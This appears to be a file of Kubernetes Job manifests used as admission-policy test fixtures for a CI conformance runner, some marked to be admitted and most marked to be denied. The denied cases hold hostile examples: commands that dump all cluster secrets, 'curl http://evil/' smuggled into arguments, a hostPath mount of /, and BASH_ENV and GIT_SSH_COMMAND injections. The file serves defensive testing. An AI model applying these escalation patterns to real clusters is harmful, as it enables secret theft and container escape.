# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
  name: real-template
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      securityContext:
        runAsNonRoot: true
        runAsUser: 65532
        fsGroup: 65532
      initContainers:
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/usr/local/bin/conformance-clone"]
          env:
            - name: CONFORMANCE_GIT_SHA
              value: "0123456789abcdef0123456789abcdef01234567"
            # BY SECRET NAME ONLY — and as env, not as a volume.
            - name: GITEA_USERNAME
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: username }
            - name: GITEA_TOKEN
              valueFrom:
                secretKeyRef: { name: conformance-git-readonly, key: token }
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
      containers:
        - name: chainsaw
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          workingDir: /workspace/src/conformance
          command: ["./run.sh"]
          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
          env:
            - name: CONF_ARTIFACTS
              value: /results
            - name: CONF_EMIT_ARTIFACTS_TGZ
              value: "1"
          volumeMounts:
            - { name: workspace, mountPath: /workspace }
            - { name: results, mountPath: /results }
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
  name: good-run
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-command
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-image
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: docker.io/library/alpine:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: tag-not-digest
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: host-namespaces
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      hostPID: true
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: false
            allowPrivilegeEscalation: true
      volumes:
        - name: workspace
          emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: extra-volume
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: hostroot
          hostPath:
            path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: injected-args
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2", ";", "curl", "http://evil/"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-initcontainer
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      initContainers:
        - name: sneak
          image: docker.io/library/alpine:latest
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
          securityContext:
            privileged: true
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
  name: initcontainer-with-args
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      initContainers:
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/usr/local/bin/conformance-clone"]
          args: ["--exec", "curl http://evil/"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: second-initcontainer
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      initContainers:
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/usr/local/bin/conformance-clone"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
        - name: also-me
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: injected-env
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3"]
          env:
            - name: CONF_ARTIFACTS
              value: /results
            - name: BASH_ENV
              value: /workspace/src/conformance/_pwned
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: envfrom-whole-secret
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3"]
          envFrom:
            - secretRef:
                name: anything-in-this-namespace
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: injected-initcontainer-env
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      initContainers:
        - name: clone-suite-at-commit
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/usr/local/bin/conformance-clone"]
          env:
            - name: CONFORMANCE_GIT_SHA
              value: "0123456789abcdef0123456789abcdef01234567"
            - name: GIT_SSH_COMMAND
              value: "sh -c 'kubectl get secrets -A'"
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-ephemeral-container
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      ephemeralContainers:
        - name: debugger
          image: docker.io/library/alpine:latest
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}